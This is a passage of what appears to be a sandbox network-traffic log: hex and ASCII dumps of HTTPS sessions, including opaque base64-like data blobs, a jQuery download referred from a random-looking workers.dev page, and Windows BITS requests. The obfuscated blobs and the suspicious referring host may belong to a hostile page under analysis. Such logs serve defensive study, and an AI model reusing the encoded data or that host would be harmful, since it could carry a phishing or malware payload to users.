2024-04-17 23:28:19 UTC	1369	IN	Data Raw: 51 30 73 32 57 30 4a 4c 4e 6e 74 42 53 7a 5a 62 64 6b 74 37 65 6b 73 32 57 33 6c 4c 4e 6c 74 32 53 33 74 34 53 7a 5a 62 64 30 73 32 57 31 56 62 65 31 73 34 65 31 70 32 57 7a 6c 62 57 33 52 6a 57 31 56 62 65 31 73 34 65 31 70 32 57 7a 6c 62 57 33 5a 4c 4e 6c 74 31 53 7a 5a 62 64 45 73 32 65 33 4e 4c 4e 6c 74 79 53 7a 5a 62 53 57 6c 62 63 55 73 32 57 31 56 62 65 31 73 34 65 31 4a 32 57 30 46 62 63 45 73 32 65 33 52 7a 57 32 39 4c 4e 6c 74 56 57 33 74 62 4f 48 74 53 64 6c 74 42 57 32 35 4c 4e 6e 74 6d 61 46 74 32 53 33 74 74 53 7a 5a 37 55 32 70 62 65 33 6c 59 57 32 78 4c 4e 6c 74 32 53 33 74 72 53 7a 5a 62 64 6b 74 37 61 6b 73 32 65 32 64 37 4f 44 46 62 61 55 73 32 57 32 68 4c 4e 6e 74 6e 53 7a 5a 62 56 56 74 37 57 7a 68 37 55 6e 5a 62 51 56 74 6d 53 7a 5a Data Ascii: Q0s2W0JLNntBSzZbdkt7eks2W3lLNlt2S3t4SzZbd0s2W1Vbe1s4e1p2WzlbW3RjW1Vbe1s4e1p2WzlbW3ZLNlt1SzZbdEs2e3NLNltySzZbSWlbcUs2W1Vbe1s4e1J2W0FbcEs2e3RzW29LNltVW3tbOHtSdltBW25LNntmaFt2S3ttSzZ7U2pbe3lYW2xLNlt2S3trSzZbdkt7aks2e2d7ODFbaUs2W2hLNntnSzZbVVt7Wzh7UnZbQVtmSzZ
2024-04-17 23:28:19 UTC	1369	IN	Data Raw: 33 74 4a 53 54 5a 62 53 45 6b 32 57 33 5a 4c 65 30 6c 34 65 32 64 37 5a 33 74 6d 57 33 5a 4c 65 30 64 4a 4e 6c 74 47 53 54 5a 62 52 55 6b 32 57 30 73 78 57 31 56 62 65 31 73 34 65 31 4a 32 57 30 46 62 52 45 6b 32 57 33 5a 4c 65 7a 4e 6e 57 32 6b 30 57 31 6f 78 65 32 49 78 57 30 4e 4a 4e 6c 73 79 4d 31 74 43 53 54 5a 62 51 55 6b 32 57 33 70 4a 4e 6c 74 35 53 54 5a 62 65 45 6b 32 57 33 64 4a 4e 6e 74 32 53 54 5a 37 64 55 6b 32 57 33 74 79 59 6e 74 30 53 54 5a 37 63 30 6b 32 65 33 4a 4a 4e 6e 74 78 53 54 5a 37 63 45 6b 32 65 7a 52 71 57 32 39 4a 4e 6e 74 75 53 54 5a 62 62 55 6b 32 65 32 78 4a 4e 6c 73 31 51 33 74 72 53 54 5a 37 61 6b 6b 32 57 32 74 62 61 55 6b 32 57 32 68 4a 4e 6c 74 6e 53 54 5a 62 57 46 74 6d 53 54 5a 62 5a 55 6b 32 65 32 52 4a 4e 6c 74 6a Data Ascii: 3tJSTZbSEk2W3ZLe0l4e2d7Z3tmW3ZLe0dJNltGSTZbRUk2W0sxW1Vbe1s4e1J2W0FbREk2W3ZLezNnW2k0W1oxe2IxW0NJNlsyM1tCSTZbQUk2W3pJNlt5STZbeEk2W3dJNnt2STZ7dUk2W3tyYnt0STZ7c0k2e3JJNntxSTZ7cEk2ezRqW29JNntuSTZbbUk2e2xJNls1Q3trSTZ7akk2W2tbaUk2W2hJNltnSTZbWFtmSTZbZUk2e2RJNltj
2024-04-17 23:28:19 UTC	1369	IN	Data Raw: 6c 62 57 33 4a 47 4e 6c 74 78 52 6a 5a 62 64 6b 74 37 63 45 59 32 57 33 5a 4c 65 32 39 47 4e 6c 74 75 52 6a 5a 62 62 55 59 32 65 32 78 47 4e 6c 74 32 53 33 74 72 52 6a 5a 62 61 6b 59 32 57 31 56 62 65 31 73 34 65 31 70 51 57 7a 6c 62 57 32 6c 47 4e 6c 74 6f 52 6a 5a 62 5a 30 59 32 57 33 5a 4c 65 32 5a 47 4e 6c 74 32 53 33 74 6c 52 6a 5a 62 56 56 74 37 57 7a 68 37 57 6c 42 62 4f 56 74 62 64 48 56 62 64 6b 74 37 5a 45 59 32 65 32 4e 47 4e 6c 74 32 53 33 74 69 52 6a 5a 37 59 55 59 32 65 7a 6c 47 4e 6e 73 34 52 6a 5a 62 4e 30 59 32 57 7a 5a 47 4e 6c 73 31 52 6a 5a 62 4e 45 59 32 57 31 56 62 65 31 73 34 65 31 70 51 57 7a 6c 62 57 31 6b 79 57 31 56 62 65 31 73 34 65 31 70 51 57 7a 6c 62 57 7a 4e 47 4e 6c 74 56 57 33 74 62 4f 48 74 61 55 46 73 35 57 31 73 79 52 Data Ascii: lbW3JGNltxRjZbdkt7cEY2W3ZLe29GNltuRjZbbUY2e2xGNlt2S3trRjZbakY2W1Vbe1s4e1pQWzlbW2lGNltoRjZbZ0Y2W3ZLe2ZGNlt2S3tlRjZbVVt7Wzh7WlBbOVtbdHVbdkt7ZEY2e2NGNlt2S3tiRjZ7YUY2ezlGNns4RjZbN0Y2WzZGNls1RjZbNEY2W1Vbe1s4e1pQWzlbW1kyW1Vbe1s4e1pQWzlbWzNGNltVW3tbOHtaUFs5W1syR
2024-04-17 23:28:19 UTC	1369	IN	Data Raw: 51 57 32 4d 78 57 31 74 32 52 44 5a 62 65 33 56 45 4e 6c 74 68 64 31 74 30 52 44 5a 62 56 56 74 37 57 7a 68 37 55 6e 5a 62 59 56 74 7a 52 44 5a 62 61 31 74 79 52 44 5a 62 56 56 74 37 57 7a 68 37 55 6e 5a 62 59 56 74 78 52 44 5a 62 55 32 46 37 63 45 51 32 57 32 39 45 4e 6c 74 75 52 44 5a 62 56 56 74 37 57 7a 68 37 55 6e 5a 62 59 56 74 48 65 44 70 75 57 33 6f 31 57 31 56 62 65 31 73 34 65 31 70 51 57 7a 6c 62 57 32 31 45 4e 6c 74 56 57 33 74 62 4f 48 74 53 64 6c 74 68 57 32 78 45 4e 6c 74 47 65 48 74 6e 65 32 64 37 61 30 51 32 57 32 70 45 4e 6c 74 78 4d 56 74 70 52 44 5a 62 61 45 51 32 57 32 39 53 65 32 45 78 57 33 5a 4c 65 30 6b 31 57 31 56 62 65 31 73 34 65 31 4a 32 57 30 46 62 5a 30 51 32 57 33 5a 4c 65 32 5a 45 4e 6e 73 33 4d 56 74 57 4e 46 74 6c 52 44 Data Ascii: QW2MxW1t2RDZbe3VENlthd1t0RDZbVVt7Wzh7UnZbYVtzRDZba1tyRDZbVVt7Wzh7UnZbYVtxRDZbU2F7cEQ2W29ENltuRDZbVVt7Wzh7UnZbYVtHeDpuW3o1W1Vbe1s4e1pQWzlbW21ENltVW3tbOHtSdlthW2xENltGeHtne2d7a0Q2W2pENltxMVtpRDZbaEQ2W29Se2ExW3ZLe0k1W1Vbe1s4e1J2W0FbZ0Q2W3ZLe2ZENns3MVtWNFtlRD
2024-04-17 23:28:19 UTC	1369	IN	Data Raw: 65 31 4a 32 57 32 46 62 56 55 49 32 65 30 4a 34 65 33 51 78 65 32 49 78 57 30 46 34 57 33 70 34 57 31 56 62 65 31 73 34 65 31 4a 32 57 32 46 62 56 45 49 32 57 33 74 54 51 6a 5a 37 55 6b 49 32 57 33 5a 4c 65 33 6c 34 57 31 46 43 4e 6c 74 51 51 6a 5a 62 54 30 49 32 65 30 35 43 4e 6c 74 32 53 33 74 35 65 46 74 4e 51 6a 5a 62 56 56 74 37 57 7a 68 37 57 6c 42 62 59 56 74 4d 51 6a 5a 62 53 30 49 32 65 30 70 43 4e 6e 74 4a 51 6a 5a 37 53 45 49 32 57 31 56 62 65 31 73 34 65 31 4a 32 57 32 46 62 52 30 49 32 57 31 56 62 65 31 73 34 65 31 70 51 57 7a 6c 62 57 30 5a 43 4e 6c 74 46 51 6a 5a 37 52 45 49 32 65 30 4e 43 4e 6c 74 32 53 33 74 34 65 46 74 32 53 33 74 33 65 46 74 56 57 33 74 62 4f 48 74 61 55 46 73 35 57 31 74 43 51 6a 5a 62 51 55 49 32 57 33 70 43 4e 6c 74 Data Ascii: e1J2W2FbVUI2e0J4e3Qxe2IxW0F4W3p4W1Vbe1s4e1J2W2FbVEI2W3tTQjZ7UkI2W3ZLe3l4W1FCNltQQjZbT0I2e05CNlt2S3t5eFtNQjZbVVt7Wzh7WlBbYVtMQjZbS0I2e0pCNntJQjZ7SEI2W1Vbe1s4e1J2W2FbR0I2W1Vbe1s4e1pQWzlbW0ZCNltFQjZ7REI2e0NCNlt2S3t4eFt2S3t3eFtVW3tbOHtaUFs5W1tCQjZbQUI2W3pCNlt
2024-04-17 23:28:19 UTC	1369	IN	Data Raw: 48 74 53 64 6c 74 68 57 32 78 42 4e 6c 74 56 57 33 74 62 4f 48 74 53 64 6c 74 68 57 32 74 42 4e 6c 74 56 57 33 74 62 4f 48 74 53 64 6c 74 68 57 32 70 42 4e 6c 74 56 57 33 74 62 4f 48 74 61 55 46 73 35 57 31 74 75 65 46 74 70 51 54 5a 37 61 54 46 37 61 45 45 32 65 32 64 42 4e 6c 74 6d 51 54 5a 62 5a 55 45 32 57 31 55 78 57 32 52 42 4e 6c 74 6a 51 54 5a 62 65 54 46 62 64 6b 74 37 59 6b 45 32 65 32 64 37 5a 33 74 68 51 54 5a 62 56 56 74 37 57 7a 68 37 55 6e 5a 62 51 56 73 35 51 54 5a 62 64 6b 74 37 4f 45 45 32 57 33 74 35 57 46 73 30 59 58 73 33 51 54 5a 62 4e 6b 45 32 57 31 56 62 65 31 73 34 65 31 70 32 57 7a 6c 62 57 7a 56 42 4e 6c 74 32 53 33 73 30 51 54 5a 62 4d 30 45 32 57 7a 4a 42 4e 6c 74 56 57 33 74 62 4f 48 74 53 64 6c 74 42 57 7a 46 42 4e 6c 74 32 Data Ascii: HtSdlthW2xBNltVW3tbOHtSdlthW2tBNltVW3tbOHtSdlthW2pBNltVW3tbOHtaUFs5W1tueFtpQTZ7aTF7aEE2e2dBNltmQTZbZUE2W1UxW2RBNltjQTZbeTFbdkt7YkE2e2d7Z3thQTZbVVt7Wzh7UnZbQVs5QTZbdkt7OEE2W3t5WFs0YXs3QTZbNkE2W1Vbe1s4e1p2WzlbWzVBNlt2S3s0QTZbM0E2WzJBNltVW3tbOHtSdltBWzFBNlt2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	151.101.130.137	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:19 UTC	553	OUT	GET /jquery-3.4.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://groun-93ed.ehajdranrsuw.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 23:28:19 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 88145 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15851" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 17 Apr 2024 23:28:19 GMT Age: 1175669 X-Served-By: cache-lga21965-LGA, cache-pdk-kfty2130082-PDK X-Cache: HIT, HIT X-Cache-Hits: 175, 38 X-Timer: S1713396500.799117,VS0,VE0 Vary: Accept-Encoding
2024-04-17 23:28:19 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 Data Ascii: /! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-04-17 23:28:19 UTC	1378	IN	Data Raw: 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6b 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6b 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 6b 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 6e 2e 63 61 6c 6c 28 65 2c 74 2c 65 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 Data Ascii: th]:this[e]},pushStack:function(e){var t=k.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return k.each(this,e)},map:function(n){return this.pushStack(k.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this
2024-04-17 23:28:19 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f 6e 63 65 7d 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 30 3b 69 66 28 64 28 65 29 29 7b 66 6f 72 28 6e 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 69 66 28 21 31 3d 3d 3d 74 2e 63 61 6c 6c 28 65 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 72 20 69 6e 20 65 29 69 66 28 21 31 3d 3d 3d 74 2e 63 61 6c 6c 28 65 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 65 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 22 22 3a 28 65 2b 22 22 29 2e 72 65 70 6c 61 63 65 28 70 2c 22 22 29 7d 2c 6d 61 6b 65 41 72 72 61 79 Data Ascii: ion(e,t){b(e,{nonce:t&&t.nonce})},each:function(e,t){var n,r=0;if(d(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(p,"")},makeArray
2024-04-17 23:28:19 UTC	1378	IN	Data Raw: 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 2c 49 3d 22 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5c 5c 77 2d 5d 7c 5b 5e 5c 30 2d 5c 5c 78 61 30 5d 29 2b 22 2c 57 3d 22 5c 5c 5b 22 2b 4d 2b 22 2a 28 22 2b 49 2b 22 29 28 3f 3a 22 2b 4d 2b 22 2a 28 5b 2a 5e 24 7c 21 7e 5d 3f 3d 29 22 2b 4d 2b 22 2a 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c Data Ascii: trols\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t\\r\\n\\f]",I="(?:\\\\.\|[\\w-]\|[^\0-\\xa0])+",W="\\["+M+"("+I+")(?:"+M+"([^$\|!~]?=)"+M+"(?:'((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"*\\
2024-04-17 23:28:19 UTC	1378	IN	Data Raw: 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c 78 37 66 2d 5c 75 46 46 46 46 5c 77 2d 5d 2f 67 2c 69 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3f 22 5c 30 22 3d 3d 3d 65 3f 22 5c 75 66 66 66 64 22 3a 65 2e 73 6c 69 63 65 28 30 2c 2d 31 29 2b 22 5c 5c 22 2b 65 2e 63 68 61 72 43 6f 64 65 41 74 28 65 2e 6c 65 6e 67 74 68 2d 31 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 2b 22 20 22 3a 22 5c 5c 22 2b 65 7d 2c 6f 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 Data Ascii: },re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName
2024-04-17 23:28:19 UTC	1378	IN	Data Raw: 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 65 29 7b 41 28 74 2c 21 30 29 7d 66 69 6e 61 6c 6c 79 7b 73 3d 3d 3d 6b 26 26 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 7d 7d 7d 72 65 74 75 72 6e 20 67 28 74 2e 72 65 70 6c 61 63 65 28 42 2c 22 24 31 22 29 2c 65 2c 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 75 65 28 29 7b 76 61 72 20 72 3d 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 6b 5d 3d Data Ascii: uerySelectorAll(c)),n}catch(e){A(t,!0)}finally{s===k&&e.removeAttribute("id")}}}return g(t.replace(B,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[k]=
2024-04-17 23:28:19 UTC	1378	IN	Data Raw: 52 49 2c 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 21 59 2e 74 65 73 74 28 74 7c 7c 6e 26 26 6e 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 48 54 4d 4c 22 29 7d 2c 54 3d 73 65 2e 73 65 74 44 6f 63 75 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 2c 72 3d 65 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 3a 6d 3b 72 65 74 75 72 6e 20 72 21 3d 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 6d 21 3d 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e Data Ascii: RI,n=(e.ownerDocument\|\|e).documentElement;return!Y.test(t\|\|n&&n.nodeName\|\|"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument\|\|e:m;return r!==C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),m!==C&&(n=C.defaultView)&&n.
2024-04-17 23:28:19 UTC	1378	IN	Data Raw: 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3b 69 66 28 22 2a 22 3d 3d 3d 65 29 7b 77 68 69 6c 65 28 6e 3d 6f 5b 69 2b 2b 5d 29 31 Data Ascii: eturn[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1
2024-04-17 23:28:19 UTC	1378	IN	Data Raw: 3a 64 69 73 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2a 2c 3a 78 22 29 2c 76 2e 70 75 73 68 28 22 2c 2e 2a 3a 22 29 7d 29 29 2c 28 64 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 3d 4b 2e 74 65 73 74 28 63 3d 61 2e 6d 61 74 63 68 65 73 7c 7c 61 2e 77 65 62 6b 69 74 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 61 2e 6d 6f 7a 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 61 2e 6f 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 61 2e 6d 73 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 29 29 26 26 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 64 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 4d Data Ascii: :disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll(",:x"),v.push(",.:")})),(d.matchesSelector=K.test(c=a.matches\|\|a.webkitMatchesSelector\|\|a.mozMatchesSelector\|\|a.oMatchesSelector\|\|a.msMatchesSelector))&&ce(function(e){d.disconnectedM
2024-04-17 23:28:19 UTC	1378	IN	Data Raw: 7d 29 2c 43 7d 2c 73 65 2e 6d 61 74 63 68 65 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 73 65 28 65 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 74 29 7d 2c 73 65 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 21 3d 3d 43 26 26 54 28 65 29 2c 64 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 26 26 45 26 26 21 41 5b 74 2b 22 20 22 5d 26 26 28 21 73 7c 7c 21 73 2e 74 65 73 74 28 74 29 29 26 26 28 21 76 7c 7c 21 76 2e 74 65 73 74 28 74 29 29 29 74 72 79 7b 76 61 72 20 6e 3d 63 2e 63 61 6c 6c 28 65 2c 74 29 3b 69 66 28 6e 7c 7c 64 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 4d 61 74 63 68 7c 7c 65 2e 64 6f 63 75 6d 65 6e 74 26 26 31 31 Data Ascii: }),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if((e.ownerDocument\|\|e)!==C&&T(e),d.matchesSelector&&E&&!A[t+" "]&&(!s\|\|!s.test(t))&&(!v\|\|!v.test(t)))try{var n=c.call(e,t);if(n\|\|d.disconnectedMatch\|\|e.document&&11

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49716	23.208.128.100	443

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:22 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-17 23:28:23 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/073D) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=27367 Date: Wed, 17 Apr 2024 23:28:22 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49717	23.208.128.100	443

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:24 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-17 23:28:24 UTC	530	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0rcGnYgAAAAANOnx9vccHTr21ROgX9ESTU0pDRURHRTAzMDkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=27374 Date: Wed, 17 Apr 2024 23:28:24 GMT Content-Length: 55 Connection: close X-CID: 2
